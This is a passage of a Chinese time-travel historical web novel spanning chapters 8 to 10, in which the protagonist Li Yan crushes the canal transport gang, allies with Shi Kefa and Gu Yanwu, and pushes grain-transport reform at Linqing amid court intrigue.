李炎如约而至,独自走上栈桥。他穿着青色长衫,佩剑悬在腰间,步履从容,仿佛不是赴险,而是夜游。 庙门开着,里面灯火通明。大殿中央,一个五旬老者坐在太师椅上,穿着绸缎袍子,手里转着两个铁球。他身后站着二十余人,个个眼神凌厉,手握兵刃。 “李太保,果然有胆色。”老者开口,声音沙哑,“老夫潘永年,漕帮总舵主。” “潘帮主。”李炎拱手,“深夜相邀,不知有何指教?” “指教不敢。”潘永年眯起眼睛,“只是想问李太保一句——漕运百年规矩,为何要改?” “因为规矩坏了。”李炎直视他,“四百万石漕粮,实运不足三百万;十万漕工,苦不堪言;运河上下,贪腐横行。这样的规矩,不该改吗?” “改了,漕帮十万弟兄吃什么?”潘永年冷笑,“李太保,你读过书,懂得大道理。但你不懂运河——这河上讨生活,有河上的规矩。你断人财路,就是杀人父母。” “所以你就派人袭杀朝廷命官?” “那是给太保一个警告。”潘永年站起身,“老夫今日请太保来,是想做个交易——你回你的京城,继续做你的太保。运河的事,交给漕帮。每年,漕帮孝敬朝廷五十万两,孝敬太保……十万两。” 李炎笑了:“十万两?好大的手笔。” “太保若是嫌少,可以再加。”潘永年以为他心动,“只要太保睁只眼闭只眼,漕运的利润,分你三成。” “三成……一年怕是百万两吧?”李炎摇头,“可惜,我这个人,不爱钱。” 潘永年脸色一沉:“那太保爱什么?” “爱这运河畅通无阻,爱漕工能吃饱饭,爱大明江山稳固。”李炎一字一句,“潘帮主,你现在投降,交出账册,供出同党,我可保你不死。若执迷不悟……” 他顿了顿:“今夜,就是漕帮的末日。” 话音未落,庙外忽然响起喊杀声。潘永年脸色大变:“你带了人?” “带的不多,一百而已。”李炎拔剑,“但对付你们,够了。” 孙传庭率兵杀入,锦衣卫三人直扑潘永年。漕帮护卫拼死抵抗,但如何是正规军的对手?不过一刻钟,战斗结束。 潘永年被押到李炎面前,铁球滚落在地。 “李炎!你、你不得好死!”他嘶吼,“漕帮十万弟兄,不会放过你!” “十万弟兄?”李炎俯视他,“你问问他们,是愿意继续被你盘剥,还是愿意跟着朝廷,拿实实在在的工钱?” 他不再多言,对孙传庭道:“查封龙王庙,所有财物充公。潘永年押回船上,严加看管。另外——传檄运河沿线:漕帮已灭,凡漕工愿归顺朝廷者,既往不咎;凡顽抗者,以谋逆论处。” 走出龙王庙时,东方已泛白。 李炎站在栈桥上,望着运河。河水在晨光中泛起金鳞,远处有早起的渔船,炊烟袅袅。 新的一天,开始了。 而漕运的革新,也从这一夜,真正开始。 --- 黎明·船队 回到船队时,宋应星迎上来,神色激动:“大人!刚收到飞鸽传书——史可法史大人,已到临清!他在那里等您!” 史可法来了。这位明末最后的脊梁,终于要见面了。 李炎精神一振:“传令,全速南下,目标——临清!” 船队启航,明轮划破水面,向南驶去。 李炎站在船头,晨风吹起他的衣襟。身后,春梅悄悄递上一件披风。 “大人,前面还有很远的路。” “是啊,很远。”李炎接过披风,“但再远的路,也要走下去。” 因为他知道,临清之后,还有扬州,还有南京,还有整个天下。 而他要做的,就是在这条布满荆棘的路上,为大明,走出一条生路。 哪怕这条路,需要用血与火来铺就。 朝阳升起,照亮运河,也照亮前路。 【第八章完】 9. 等待进入网审 巳时·临清闸 临清闸,运河“咽喉”。 李炎船队抵达时,正值过闸高峰。数百艘漕船、商船、客船堵在闸口,绵延数里。闸吏的吆喝声、船工的号子声、商贾的争吵声,混着河水拍岸的哗啦声,喧嚣如沸。 “比河西务大十倍不止。”宋应星站在船头感慨。他是江西人,走运河下过江南,但每次见临清,仍觉震撼。 临清闸不是一道闸,是三道闸组成的复闸系统,每道闸宽五丈,深三丈,可容最大漕船通行。闸两侧有石砌码头,货栈林立,旗幡招展。更远处,城墙蜿蜒,城楼巍峨——临清是山东重镇,人口逾十万,商税占山东三成。 “史大人在哪里等我们?”李炎问。 孙传庭指向闸东:“那边有座望河楼,史大人包了顶层。” 船队靠岸。李炎留下宋应星处理船务,带着孙传庭和四个亲兵,步行前往望河楼。春梅换了女装,抱着藤箱跟在身后。 穿过码头,人潮汹涌。挑夫扛着麻袋,喊着号子;小贩推着车,叫卖炊饼、茶水、针线;乞丐蹲在墙角,伸出破碗。空气里混杂着汗味、河水腥气、香料味、马粪味。 “这才是运河该有的样子。”李炎低声说。河西务太荒凉,临清才显繁华。但繁华之下呢? 望河楼是临清最高的酒楼,五层木楼,飞檐斗拱。掌柜见李炎气度不凡,忙引上顶层。 顶层雅间,临窗坐着一位中年文士。他四十出头,面容清癯,穿着半旧青袍,正低头看书。听见脚步声,抬头起身,拱手行礼:“可是李太保?下官史可法,恭候多时。” “史尚书。”李炎还礼,“久仰。” 两人对视。史可法的眼睛很亮,有读书人的清澈,也有官员的锐利。李炎看到他袖口有补丁,靴子磨得发白——这位南京兵部尚书,果然如史载,清贫自守。 “坐。”史可法亲自斟茶,“李太保一路辛苦。听闻在河西务雷霆手段,整顿漕弊,下官敬佩。” “史尚书过誉。”李炎接过茶,“都是为朝廷办事。不知尚书对漕运改革,有何高见?” 史可法从袖中取出一卷文书:“这是下官拟的《漕运十策》,请太保过目。” 李炎展开。文书蝇头小楷,条理清晰: 一、裁撤漕帮,设漕运总督衙门,直属户部。 二、废除闸费、过路费等苛捐杂税,统一征收漕银。 三、推广新式漕船,提高运力。 四、设河工学堂,培养专业人才。 五、清丈运河淤塞段落,疏浚河道。 六、在临清、淮安、扬州设三大漕仓,减少损耗。 七、漕工改募为兵,编入漕军,保障待遇。 八、严查走私,凡私运漕粮、军火者斩。 九、运河沿线设驿站、医馆,便利行旅。 十、漕运盈余,用于赈灾、兴学。 十策,每策都有详细实施办法、预算估算、可能阻力。显然不是临时起意,是深思熟虑。 “好!”李炎由衷赞叹,“史尚书大才!这十策若施行,漕运可焕然一新。” 史可法却无喜色:“好是好,但难。难在三点:其一,漕帮势力盘根错节,潘永年虽擒,但各地分舵仍在;其二,运河沿线官员、士绅,多有利益牵扯,阻力重重;其三……”他顿了顿,“钱从哪里来?” 李炎明白。改革需要钱,但朝廷没钱。崇祯的内帑早已掏空,国库年年赤字。 “钱的事,我来想办法。”李炎沉声道,“但需要史尚书助我——整顿漕运,不能只靠刀兵,还要靠人。南方官员,我不熟,需要尚书引荐、斡旋。” 史可法点头:“这是自然。下官已联络几位志同道合的同僚,他们愿助太保一臂之力。不过……”他犹豫片刻,“有句话,下官不知当讲不当讲。” “请直言。” “太保可知,南方士绅,对朝廷……颇有微词?” 李炎心中一动:“是因为‘辽饷’‘剿饷’加派?” “不止。”史可法压低声音,“南方这些年还算安定,未遭兵祸。但朝廷年年加派,地方官趁机盘剥,民怨已深。有些士绅私下议论:与其把钱粮送给朝廷打水漂,不如留在本地,保境安民。” 这是地方离心倾向的前兆。历史上,南明之所以内斗不休,就是因为江南士绅各怀心思,不愿全力支持朝廷。 “他们想拥兵自重?” “还没到那一步。”史可法摇头,“但防患未然。李太保,整顿漕运不仅是经济改革,更是政治表态——朝廷必须让南方看到,钱粮用在实处,能换来太平。否则……” 否则,大明可能等不到清军南下,自己就分裂了。 李炎沉默良久,忽然问:“史尚书,若有一天,北京不守,朝廷南迁,你会怎么做?” 史可法浑身一震,盯着李炎,眼中闪过惊疑、挣扎,最终化为坚定:“下官……誓死保卫大明江山。无论朝廷在哪里,下官都是大明的臣子。” 这话答得巧妙,没说“拥戴南迁”,但表明了立场。 李炎笑了:“有尚书这句话,我就放心了。来,我们详细说说,这十策如何施行。” 两人从巳时谈到午时,又从午时谈到申时。茶水换了三壶,笔记写了厚厚一叠。孙传庭在门外警戒,春梅在一旁记录要点。 当夕阳西斜时,方案初步成型: 一、以临清为试点,推行新漕制。李炎坐镇,史可法协调南方。 二、三日内,发布《漕运改革告示》,废除苛捐杂税,公布新工钱标准。 三、七日内,组建漕运总督衙门,从南京、北京调派干员。 四、一月内,完成临清段漕船清查,凡符合新规者,颁发“漕运许可”;凡违规者,一律扣押。 五、同时,筹建河工学堂,首批招收学徒百人,由宋应星授课。 “最难的是清查。”史可法指出,“临清在册漕船八百艘,实际可能逾千。其中多少是黑船?多少走私?多少属于漕帮?清查起来,必遭反弹。” “反弹就弹压。”李炎语气坚决,“我带了一千精兵,不够可以从山东卫所调。但更重要的是——”他看向史可法,“要争取底层漕工的支持。他们苦漕帮久矣,只要让他们看到实实在在的好处,就会站到朝廷这边。” 史可法若有所思:“太保的意思是……发动漕工?” “对。”李炎起身,走到窗前,望着楼下码头,“史尚书,你看那些扛包的、拉纤的、掌舵的——他们才是运河真正的主人。漕帮盘剥他们,官府忽视他们。现在,朝廷要给他们尊严,给他们活路。你说,他们会选谁?” 史可法看着李炎的背影,忽然觉得,这位年轻的太保,眼光之毒、手段之狠、心志之坚,远超他的年龄和阅历。 “下官……明白了。” --- 酉时·漕工聚所 临清码头西侧,有片棚户区,低矮的窝棚挨挨挤挤,污水横流。这里是底层漕工的住处,白日卖苦力,夜晚蜷在草席上,一干就是一辈子。 李炎换了粗布衣服,只带孙传庭和两个亲兵,悄悄来到这里。史可法本要同行,被李炎劝住——他身份太敏感,容易打草惊蛇。 窝棚区中心有片空地,搭着个草棚,算是“公所”。此时正是收工时分,几十个漕工围坐,就着凉水啃窝头。见有生人来,都警惕地抬头。 “各位兄弟,叨扰了。”李炎拱手,“我是京城来的,想打听点漕运的事。” 一个老漕工打量他:“打听什么?” “听说朝廷要改革漕运,不知兄弟们怎么看?” 漕工们交换眼神,没人说话。半晌,一个年轻汉子嗤笑:“改革?改来改去,苦的还是我们。去年也说减税,结果呢?税没减,还多了个‘清淤费’!” 众人附和,怨气冲天。 李炎不恼,在空地上坐下:“若这次改革,是真改革呢?比如——废除所有苛捐杂税,漕工工钱翻倍,每日现结,不拖不欠。” “做梦吧!”老漕工摇头,“朝廷哪有钱?” “朝廷没钱,但漕运有钱。”李炎平静道,“每年四百万石漕粮,实际损耗、贪墨超过百万石。把这些钱省下来,足够给十万漕工涨工钱。” 漕工们安静了。他们不傻,知道漕运腐败,但从没想过,腐败的钱能落到自己手里。 “你是谁?”年轻汉子问。 李炎亮出腰牌——不是官凭,是京营的令牌,“我是钦差李炎的属下,奉命来听听漕工的心声。李大人说了,改革能不能成,关键在兄弟们愿不愿意支持。” “李大人……就是那个擒了潘永年的李太保?” “对。” 漕工们骚动起来。潘永年被擒的消息已经传开,底层漕工拍手称快,但也担心漕帮报复。 “李太保真能扳倒漕帮?”老漕工颤声问。 “已经在做了。”李炎道,“但漕帮树大根深,需要兄弟们帮忙——比如,检举黑船、揭发贪官、提供线索。当然,有风险,漕帮会报复。所以李大人承诺:凡举报者,赏银十两;凡因举报遭报复者,朝廷养其全家。” 十两银子,够一家老小吃喝一年。重赏之下,必有勇夫。 漕工们心动了。但长期的压迫让他们不敢轻易相信。 李炎不再多说,起身:“三日后,码头会贴出告示,上面有具体章程。兄弟们可以看看,若觉得可行,就到漕运衙门报名。告辞。” 他走出棚户区,孙传庭低声道:“大人,他们会信吗?” “会。”李炎肯定,“因为他们没得选。要么继续被盘剥,要么搏一把。是人,都会选后者。” 正说着,前方巷口闪出几个人,挡住去路。为首的是个疤脸壮汉,提着短棍,身后跟着七八个混混。 “几位,聊完了?”疤脸咧嘴笑,“聊得挺开心啊。” 孙传庭拔刀:“让开!” “哎哟,军爷好凶。”疤脸不退反进,“不过这儿是临清,不是京城。哥几个奉命,请这位爷去喝杯茶。” 李炎眯起眼睛:“奉谁的命?” “漕帮,临清分舵。”疤脸冷笑,“潘老大虽然栽了,但漕帮还在。李太保动我们的饭碗,就别怪我们不讲情面。” 话音未落,他身后混混们亮出兵器——不是刀剑,是渔叉、铁钩、船桨,都是水上械斗的家伙。 孙传庭护住李炎:“大人先走!” 李炎却摇头,从怀中掏出一物——不是枪,是枚掌心雷。他点燃引信,扔向空中。 “砰!” 爆炸声在暮色中格外刺耳。瞬间,周围屋顶、巷口冒出数十名士兵——都是孙传庭提前埋伏的。 疤脸脸色大变:“有埋伏!” “拿下!”李炎冷声。 士兵合围。混混们虽悍勇,但如何是正规军的对手?不过片刻,全被制服。 疤脸被押到李炎面前,犹自挣扎:“李炎!你抓了我,漕帮不会放过你!临清码头,明天就得停摆!” “停摆?”李炎俯视他,“我倒要看看,是你们漕帮说话算数,还是朝廷说话算数。” 他对孙传庭道:“押回去,严加审讯。我要知道,临清分舵还有多少人,据点在哪里,与哪些官员勾结。” “是!” 回到驻地时,宋应星迎上来,面色凝重:“大人,刚收到消息——漕帮在江南发动了!” --- 戌时·紧急军情 烛火下,三封急报摊在桌上。 第一封来自扬州:漕帮煽动数千漕工罢运,堵截运河,要求释放潘永年,废除新政。 第二封来自淮安:当地漕帮分舵袭击漕运衙门,打死官员三人,劫走库银五千两。 第三封最严重——来自南京:“漕帮勾结太湖匪寇,聚众数万,扬言若朝廷不妥协,就断漕运,攻州县。” “他们反了!”孙传庭拍案。 史可法脸色苍白:“下官失察……没想到漕帮如此大胆。” 李炎却异常平静。他盯着地图,手指划过运河线:“不是反,是试探。漕帮在试探朝廷的决心,也在试探我的底线。” “大人,要不要调兵镇压?”孙传庭问。 “调兵需要时间,而且容易激起民变。”李炎摇头,“漕帮聪明,他们打的是‘为民请命’的旗号,裹挟的是底层漕工。若我们武力镇压,正中下怀——他们会说朝廷不顾百姓死活,引发更大动荡。” “那怎么办?总不能妥协吧?” “当然不能妥协。”李炎眼中闪过冷光,“但镇压要讲方法。史尚书。” “下官在。” “你立刻回南京,做三件事:第一,联络可靠官员、士绅,陈明利害,争取支持;第二,开仓放粮,赈济因罢运失业的漕工,釜底抽薪;第三,发布告示,凡主动脱离漕帮者,既往不咎,还可优先录用为新漕军。” 史可法眼睛一亮:“分化瓦解?” “对。”李炎道,“漕帮十万之众,核心不过万余,大多是被裹挟的苦力。只要让他们看到朝廷的诚意、漕帮的虚伪,人心自然离散。” “下官这就去办!” 史可法连夜启程。李炎又对宋应星道:“先生,新式漕船的建造,必须加快。我要在三个月内,看到第一批百艘船下水。” “时间太紧……” “紧也要做。”李炎沉声道,“有船,才有底气。没有船,漕运命脉就捏在别人手里。” 宋应星咬牙:“老朽尽力!” 最后,李炎看向孙传庭:“孙将军,你带五百兵,护送史尚书南下。记住,沿途若遇漕帮阻挠,可武力清除,但尽量不伤及无辜。” “末将领命!”孙传庭迟疑,“那大人您……” “我留在临清。”李炎望向窗外夜色,“漕帮不是想让我妥协吗?我就让他们看看,什么是真正的……雷霆手段。” --- 子时·暗室密议 临清城,某处私宅密室。 烛台下坐着五人。主位是个富态商人,姓钱,临清最大的粮商,也是漕帮在山东的白手套。左手边是个师爷打扮的瘦子,右手边是个武官——临清卫千户,姓赵。另外两人,一个是本地举人,一个是寺庙住持。 “李炎到临清才一天,就抓了我们三十多个兄弟。”钱老板脸色阴沉,“潘老大栽在他手里,现在他又要动临清。诸位,咱们不能坐以待毙。” 赵千户冷哼:“他有一千兵,我有三千卫所兵。真要动手,未必怕他。” “不可。”师爷摇头,“李炎是钦差,有尚方宝剑。动他,就是造反。朝廷正愁没借口收拾咱们呢。” “那怎么办?等着他抄家?”举人急了,“我家三百亩地,年年‘孝敬’漕帮,账本要是落到李炎手里……” “账本必须毁掉。”钱老板咬牙,“但李炎盯得紧,不好动手。所以,咱们得让他……分心。” “怎么分心?” 钱老板看向住持:“大师,您庙里不是收留了不少流民吗?挑些胆大的,明日去码头闹事,就说是李炎改革,断了他们活路。闹得越大越好。” 住持捻着佛珠:“阿弥陀佛,出家人……” “事成之后,捐香火钱一千两。”钱老板打断。 住持合十:“我佛慈悲,渡人苦难,也是功德。” 钱老板又对赵千户道:“赵大人,您手下的兵,明日‘恰好’去码头巡逻。若流民与李炎的兵冲突,您就……维持秩序。” “维持秩序?”赵千户会意,“明白,一定‘公平公正’。” 最后,钱老板对师爷说:“先生,您联络南京那边,让他们再加把火。李炎不是要改革吗?咱们就让整个江南乱起来,看他顾哪头!” 五人密议到丑时才散。他们不知道,密室屋顶上,一个黑影悄然离去。 --- 寅时·李炎驻地 黑影是锦衣卫三人组中的“夜枭”,擅长潜伏追踪。他将密议内容原原本本汇报给李炎。 “果然沉不住气了。”李炎听完,冷笑,“流民闹事,卫所兵‘维持秩序’……好计策。可惜,用错了人。” 他唤来陈平:“去请宋先生。” 宋应星匆匆而来,睡眼惺忪:“大人有何吩咐?” “先生,我记得您设计过一种‘烟雾弹’?” “是。”宋应星点头,“用硝石、硫磺、木屑混合,点燃后产生浓烟,可遮蔽视线,但无毒。原想用于火攻时掩护撤退。” “现在有多少?” “材料充足,可现配百枚。” “好。”李炎下令,“立刻配制,明日我要用。” 又对夜枭道:“你带人去盯住那五个人,尤其钱老板和赵千户。他们有任何异动,立即回报。” “遵命。” 众人领命而去。李炎独自站在窗前,望着夜色中的临清城。 这座城市繁华,但繁华之下,是无数利益交织的暗网。漕帮、粮商、卫所、士绅、寺庙……他们盘踞在此几十年,早已形成利益共同体。现在,他要打破这个共同体,必然遭到疯狂反扑。 但,那又如何? 他来到这个时代,本就是要翻天覆地。 “大人,您该休息了。”春梅轻声道。 李炎转身,看着这个一路跟随的宫女,忽然问:“春梅,你怕吗?” 春梅摇头:“有大人在,奴婢不怕。” “如果……我败了呢?” “那奴婢就陪大人一起。”春梅声音很轻,但坚定,“反正这世上,奴婢也没什么牵挂了。” 除了那个生死未卜的弟弟。 李炎心中涌起暖意,也涌起责任。他不仅要救大明,还要救这些具体的人——春梅,漕工,还有千千万万在乱世中挣扎的百姓。 “去睡吧。”他柔声道,“明天,还有一场硬仗。” --- 卯时·码头骚动 天刚亮,码头就出事了。 数百流民突然涌来,喊着“要活路”“反改革”,冲击漕运衙门临时办公点。守卫士兵试图阻拦,但流民中有混入的漕帮打手,故意推搡冲突,局面迅速失控。 “打人了!官兵打人了!”有人尖叫。 混乱中,赵千户带着三百卫所兵“及时”赶到,将流民和守卫隔开。但卫所兵明显偏袒流民,对守卫推搡喝骂。 “都住手!”李炎的声音从高处传来。 他站在码头货栈二楼,身后站着宋应星和二十名亲兵。晨光中,他的身影挺拔如松。 “李太保!”赵千户拱手,“末将正在维持秩序,这些流民……” “流民?”李炎打断,“我怎么看到,有人袖藏短棍,有人腰间别刀?赵千户,你维持秩序,就是这样维持的?” 赵千户脸色一变。 李炎不再理他,面向流民:“诸位乡亲,我是钦差李炎。你们有什么诉求,可以派代表来说。但冲击衙门,是重罪。” 流民安静了一瞬,随即有人喊:“我们要活路!你改革漕运,断了我们生计!” “改革不是断生计,是给新生计。”李炎朗声道,“从今日起,临清码头招募漕工,日薪三十文,管两顿饭,工钱日结。凡报名者,先发三日工钱作安家费!” 这话一出,流民哗然。三十文,比现在漕帮给的工钱高一倍,还日结、管饭? “真的假的?” “骗人的吧?” 李炎挥手,亲兵抬出三口大箱,打开——里面是满满的白银和铜钱。 “钱就在这里。”李炎道,“想报名的,现在就可以领钱。但有一条——领了钱,就要守规矩,听调度。闹事者,不但没工钱,还要治罪。” 流民犹豫了。大多数人只是被煽动,并非真想造反。现在有实实在在的好处,谁还愿意闹? 混在人群中的漕帮打手急了,高喊:“别信他!朝廷什么时候说话算数过?领了钱,明天就抓你充军!” 李炎眼神一厉:“宋先生。” 宋应星点头,对身边工匠示意。十几个陶罐被点燃,扔向打手聚集处。 “砰砰砰——” 陶罐炸开,喷出浓密白烟,瞬间笼罩那片区域。打手们被烟呛得咳嗽流泪,慌乱中现了原形——他们抽出短棍、匕首,与周围真正的流民截然不同。 “拿下!”李炎下令。 亲兵冲入烟中,精准抓捕。不过片刻,三十多个打手全被制服。 烟散,流民们看清真相,顿时怒了:“他们是漕帮的人!故意煽动我们!” “对!我们被骗了!” 民心瞬间逆转。李炎趁热打铁:“现在,愿意报名的,到这边登记。不愿意的,可以离开,绝不追究。” 大多数流民涌向登记处。少数迟疑的,也默默退走。 赵千户脸色铁青,想说什么,却见李炎冷冷看向他:“赵千户,你维持秩序有功,本官会向朝廷为你请功。不过……”他话锋一转,“本官接到举报,说你与漕帮勾结,克扣军饷,私设关卡。此事,本官会查实。在查清之前,你的兵,撤出码头。” “你!”赵千户怒目而视。 李炎亮出七星令:“赵千户,要抗命吗?” 赵千户咬牙,最终低头:“末将……遵命。” 卫所兵撤走。码头秩序恢复,甚至比之前更有序——新招募的漕工干劲十足,因为他们看到了希望。 --- 巳时·乘胜追击 首战告捷,李炎没有停歇。 他命人张贴告示,公布《漕运改革章程》,同时宣布:即日起,临清码头所有货栈、仓库,接受官府清查。凡配合者,既往不咎;凡隐瞒、抗拒者,一律查封。 钱老板的粮仓首当其冲。当官兵上门时,他还在家中喝茶,以为李炎不敢动他——他在临清经营三十年,上下打点,自以为根基深厚。 “钱老板,这是搜查令。”带队的是孙传庭留下的副将,“请配合。” “你们敢!”钱老板拍案,“我是临清商会会长,与布政使大人……” “与谁都没用。”副将冷声,“李太保有令:凡阻挠清查者,当场拿下。钱老板,你要试试吗?” 钱老板看到门外全副武装的士兵,终于怂了。 清查结果触目惊心:钱家仓库里,不仅有囤积的粮食,还有走私的盐铁、甚至军械。账本更惊人——上面记录了历年贿赂官员的明细,从知县到布政使,涉及山东官场半壁江山。 “抄家。”李炎下令,“钱老板押入大牢,账本封存,另抄一份快马送京。” 同时,赵千户的卫所也被查。查出克扣军饷三万两,私设关卡收费五万两,与漕帮分赃记录清清楚楚。 “一并拿下。” 一日之间,临清两大巨头倒下。消息传开,全城震动。其他商户、官员惶惶不可终日,有连夜出逃的,有主动投案的,有 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“先生愿助我,求之不得。不知先生有何高见?” 顾炎武从怀中取出一卷手稿:“这是草民所著《漕运考》,详细考证历代漕运利弊,并提出了十二条改革建议,请太保过目。” 李炎接过,快速浏览。顾炎武的建议比史可法的更激进,也更系统——他主张彻底废除漕运的垄断特权,引入商运竞争;主张漕粮折银,减少损耗;主张在运河沿线兴修水利,造福民生。 “好!太好了!”李炎拍案,“先生之策,深得我心。只是……推行起来,阻力更大。” “阻力大,才要推行。”顾炎武正色道,“太保,草民游历南北,亲眼所见,大明之病,不在外敌,在内政。漕运之弊,只是冰山一角。若不能刮骨疗毒,纵使击退闯贼、清虏,也不过是苟延残喘。” 这话说得尖锐,但李炎深以为然。 “所以先生的意思是……” “要改,就改彻底。”顾炎武目光炯炯,“不仅要改革漕运,还要改革税制、军制、科举。但饭要一口口吃,漕运是突破口。只要漕运改革成功,就能证明新政可行,就能争取更多支持。” 李炎与宋应星对视,都看到对方眼中的振奋。 有了顾炎武加入,改革团队如虎添翼。 “先生若不嫌弃,请任漕运总督衙门顾问,参赞改革。”李炎郑重邀请。 顾炎武深深一揖:“固所愿也,不敢请耳。” --- 未时·江南急报 正当李炎与顾炎武、宋应星商议细节时,又一封急报传来。 这次不是坏消息——史可法在南京取得突破。 他联合南京六部中正直官员,说服魏国公徐弘基(徐达后人)出面调停。徐家在江南威望极高,他一表态,许多观望的士绅开始动摇。 同时,史可法开仓放粮,招募失业漕工修堤、疏浚,以工代赈,稳住了局面。 更关键的是,他查出了漕帮与南京某些官员勾结的证据,当众公布。舆论哗然,漕帮从“为民请命”变成了“官商勾结”,人心尽失。 “史尚书好手段!”宋应星赞叹。 顾炎武却皱眉:“虽暂时稳住,但根本问题未解。江南士绅对朝廷离心,不是一天两天了。太保,您可知,江南民间流传一句话?” “什么话?” “‘崇祯皇帝坐北京,不如李闯王坐南京。’” 李炎瞳孔一缩。这话太毒了,但反映了一个残酷现实——在江南百姓看来,远在北京的朝廷,除了收税加派,没带来任何好处。而近在眼前的漕帮盘剥、官员腐败,却是实实在在的苦难。 “所以改革必须成功。”李炎沉声道,“要让江南百姓看到,朝廷能为他们做主,能带来实实在在的好处。” 他提笔给史可法回信,提出新方案: 一、在江南试行“漕粮折银”,百姓可按市价交银代粮,免去运输损耗。 二、将漕运盈余的百分之三十,返还地方,用于修桥铺路、兴办学堂。 三、在南京设立“漕运议会”,由地方士绅、漕工代表、官员共同议事,监督漕运。 “这……”顾炎武看完,神色复杂,“太保,这三条若施行,等于把部分漕运权力下放地方。朝廷那边……” “朝廷那边,我去说服。”李炎道,“权力下放不可怕,可怕的是权力滥用。只要监管到位,让利于民,反而能凝聚人心。” 他想起后世“分税制”的经验——中央与地方合理分权,才能激发活力。大明的问题,就是中央集权过度,地方毫无积极性。 “太保远见,草民佩服。”顾炎武深深一揖。 --- 申时·潘永年的供词 地牢里,潘永年终于开口了。 连续三天的审讯,锦衣卫用尽了手段——不是酷刑,是心理战。他们让潘永年看到漕帮分舵一个个被端,同党一个个落网,最后连他最信任的师爷也招供了。 “我说……我都说……”潘永年瘫在草席上,眼神涣散,“但我要见李炎……只见他。” 李炎亲自来到地牢。 潘永年看着他,忽然笑了:“李太保,你赢了。但你知不知道,你动了多少人的饭碗?” “愿闻其详。” “从杭州到通州,运河沿线,靠漕运吃饭的,不下百万人。”潘永年声音嘶哑,“漕帮只是明面上的,暗地里,有多少官员、士绅、商贾,靠着漕运发财?你改革,断的不是漕帮的财路,是整个利益集团的财路。” “我知道。” “知道你还敢做?”潘永年瞪大眼睛,“你就不怕……被暗杀?被下毒?被栽赃?这运河上,死个钦差,不算什么新鲜事。” 李炎平静地看着他:“怕,但我更怕大明亡国。潘永年,你也算个人物,难道就甘心看着这条运河,烂下去?” 潘永年沉默良久,忽然问:“李太保,若我全招了,能活吗?” “不能。”李炎实话实说,“你罪行太重,必须死。但如果你配合,我可以保你家人平安,不抄家,不株连。” 这对潘永年来说,已经是最好结果。他闭目良久,终于道:“好,我招。” 他招供的内容,触目惊心: 漕帮不仅走私、贪墨,还与关外有贸易——向满清出售铁器、火药、药材,换取人参、毛皮。更可怕的是,他们暗中资助一些“山寨”,假扮流寇劫掠,实则控制地方。 “还有……”潘永年犹豫片刻,“漕帮与宫里……也有联系。” “宫里?谁?” “具体是谁,我不知道。但每年,都有一笔十万两的银子,从漕帮账上划走,送往北京某个府邸。接头的是个太监,姓……姓杜。” 杜勋!坤宁宫总管太监! 李炎心中一寒。原来漕帮的靠山,不只是地方官员,还有宫里!难怪如此猖狂。 “账本呢?” “在……在杭州总舵,密室暗格里。”潘永年喘着气,“暗格机关,只有我和师爷知道。师爷已招,你应该拿到了。” 李炎确实拿到了。但他没想到,这账本牵扯如此之深。 “还有什么要说的?” 潘永年看着他,忽然道:“李太保,你是个能臣,但……太急了。大明这艘船,已经千疮百孔,你修得再快,也快不过沉没的速度。” “那就尽力让它沉得慢一点。”李炎起身,“至少,让船上的人,有机会上救生艇。” 他走出地牢,阳光刺眼。 春梅等在门外,递上披风:“大人,宫里来人了。” --- 酉时·天使到来 来的是个年轻太监,姓高,司礼监随堂太监,王承恩的干儿子。他带来崇祯的密旨。 密旨内容让李炎心惊: 一、漕运改革照常进行,但“不宜过激”,以免激起民变。 二、涉及宫里的事,“暂缓查处”,等“时机成熟”。 三、命李炎“速往大同”,安抚吴三桂,务必使其“不生异心”。 显然,崇祯收到了某些压力,妥协了。宫里那条线,他暂时不想动。 李炎心中涌起无力感。这就是政治——有时候,明知是毒瘤,也不能马上割,因为牵扯太多。 “李太保,皇上还有口谕。”高太监低声道,“皇上说:爱卿之心,朕知之。但治大国如烹小鲜,不可操之过急。有些事……要等。” 等什么?等时机,等实力,还是等……崇祯下决心? 李炎不知道。但他知道,自己不能停。 “臣领旨。”他躬身,“请公公回禀皇上:臣必稳妥行事,但改革……不会停。” 高太监深深看了他一眼:“太保保重。” 太监走后,顾炎武和宋应星进来,面色凝重。他们都猜到了密旨内容。 “太保,还要继续吗?”宋应星问。 “继续。”李炎斩钉截铁,“但策略要调整——宫里那条线,暂时不动。但地方上的贪官污吏、漕帮余孽,继续清除。改革照常推进,只是……低调些。” 他看向顾炎武:“先生,可能要委屈您,暂时不在明面上任职。但改革方案,还需您全力协助。” 顾炎武洒脱一笑:“草民本就是一介布衣,无所谓明面暗面。能为天下做些实事,足矣。” “好。”李炎铺开地图,“接下来,我们要做三件事:第一,巩固临清成果,将新漕制推广到整个山东段;第二,准备北上大同,会会吴三桂;第三……” 他顿了顿:“秘密调查宫里那条线。不动,不等于不查。等时机成熟,这些账,都要算。” --- 戌时·临别之夜 夜色降临,运河上灯火点点。 李炎站在码头,望着南下的船队——史可法已经稳住江南,改革有了基础;顾炎武留在临清,继续完善方案;宋应星的新船正在建造,未来可期。 但他,要北上了。 去大同,见那个历史上毁誉参半的吴三桂。是安抚,是拉拢,也是……戒备。 “大人,船备好了。”孙传庭走来,“五百精兵,明日出发。” 李炎点头。他看向身边的春梅:“你……留在临清吧。这里安全些,等我从大同回来,再带你去保定找你弟弟。” 春梅却摇头:“奴婢跟大人去。” “大同危险。” “哪里不危险?”春梅轻声道,“这世道,没有安全的地方。奴婢……想跟着大人。” 李炎看着她眼中的坚定,终于点头:“好。” 夜风起,带来运河的水汽,也带来远方的气息。 前路依然艰险,但李炎心中,却比来时多了几分底气。 因为他不是一个人在战斗了。有史可法在江南周旋,有顾炎武在临清谋划,有宋应星在改造船只,还有千万渴望改变的百姓。 星星之火,可以燎原。 而他,要做那点火的人。 “走吧。”他转身,“去大同。” 月光洒在运河上,波光粼粼,如一条银色的路,通向不可知的远方。 而李炎,将沿着这条路,继续走下去。 直到,为这个时代,点亮新的黎明。 【第九章完】 10. 等待进入网审 四月初一·离临清 晨雾如纱,临清闸在薄雾中若隐若现。李炎的船队改走陆路,五百骑兵、二十辆马车,蜿蜒成一条长龙,向北行进。 马车里,李炎闭目养神,脑海中复盘着临清一月的得失: 漕帮北直隶势力基本肃清,潘永年伏法,其党羽或擒或逃。 新漕制在临清试行初见成效,漕工日薪制推行后,码头效率提升三成,贪墨减少七成。 宋应星督造的第一批三十艘新式漕船已下水,正在试航。若效果良好,将在全线推广。 顾炎武留在临清主持漕运议会筹建——这是李炎力排众议推行的“地方议事”试点,虽遭保守官员反对,但崇祯最终默许。 代价呢?李炎睁开眼,看着车窗外倒退的田野。 